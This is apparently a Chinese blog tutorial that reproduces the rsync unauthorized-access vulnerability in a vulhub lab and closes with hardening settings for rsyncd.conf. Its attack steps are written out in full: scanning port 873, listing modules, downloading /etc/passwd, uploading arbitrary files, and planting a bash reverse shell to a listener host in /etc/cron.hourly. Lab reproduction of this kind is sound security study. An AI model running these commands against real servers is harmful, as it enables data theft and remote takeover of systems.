• rsync未授权访问漏洞复现


    rsync未授权访问漏洞简介

    rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。

    rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

    rsync未授权访问漏洞复现

    漏洞环境搭建

    cd vulhub-master/rsync/common
    docker-compose up -d 
    

    漏洞复现

    rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。

    1、nmap扫描目标系统是否开放rsync服务

    nmap -p 873 192.168.0.113
    

    2、使用如下两条命令之一,列出目标服务器的同步目录

    rsync 192.168.0.113::
    rsync rsync://192.168.0.113:873
    //rsync ip::
    //rsync rsync://ip:873
    

    3、查看模块文件

    获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

    rsync 192.168.0.113::src
    


    4、下载任意目录文件

    rsync -av 192.168.0.113::src/etc/passwd ./
    //rsync -av ip::src/路径
    

    5、向目标系统上传任意文件

    rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
    //rsync -av 文件路径 rsync://ip:873/目标系统文件路径
    


    rsync未授权访问漏洞扫描探测

    1、namp

    nmap -p 873 --script rsync-list-modules 192.168.2.102
    


    2、metasploit

    rsync未授权访问漏洞反弹shell

    1、下载cron定时任务配置文件并且查看任务内容

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    //17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    //表示17分钟会启动/etc/cron.hourly目录下文件的任务
    


    2、创建shell文件,写入反弹shell命令

    touch shell
    //文件写入反弹shell命令
    !/bin/bash
    /bin/bash -i >& /dev/tcp/192.168.2.101/8888 0>&1
    

    3、传入/etc/cron.hourly目录下

    rsync -av shell rsync://192.168.2.102:873/src/etc/cron.hourly
    

    4、监听8888端口,等待17分钟之后,接收反弹shell

    nc -lvp 8888
    

    rsync未授权访问漏洞攻击流量分析


    rsync未授权访问漏洞修复

    更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
    访问控制;设置host allow,限制允许访问主机的IP。
    权限控制;设置read only,将模块设置成只读。
    访问认证;设置auth、secrets,认证成功才能调用服务。
    模块隐藏;设置list,将模块隐藏。
    详情可参考官方doc:https://rsync.samba.org/ftp/rsync/rsyncd.conf.html

    参考链接

    freebuf-每日漏洞 | rsync未授权访问
    Tide安全团队-rsync未授权访问漏洞利用复现

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    go语言Notepad++简易开发环境搭建(windows)
    openssl AES加密以及padding
    为什么数据库要读写分离
    关于查询服务器文件是否过期的分析
    linux 禁止指定账号ssh登陆
    libmemcached upcoming ISO C++ standard, C++0x
    keepalived安装配置(nginx)
    php连接mysql报错No such file or directory
    linux命令行下使用R语言绘图
    纯真IP数据库导入mysql
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13279101.html
Copyright © 2020-2023  润新知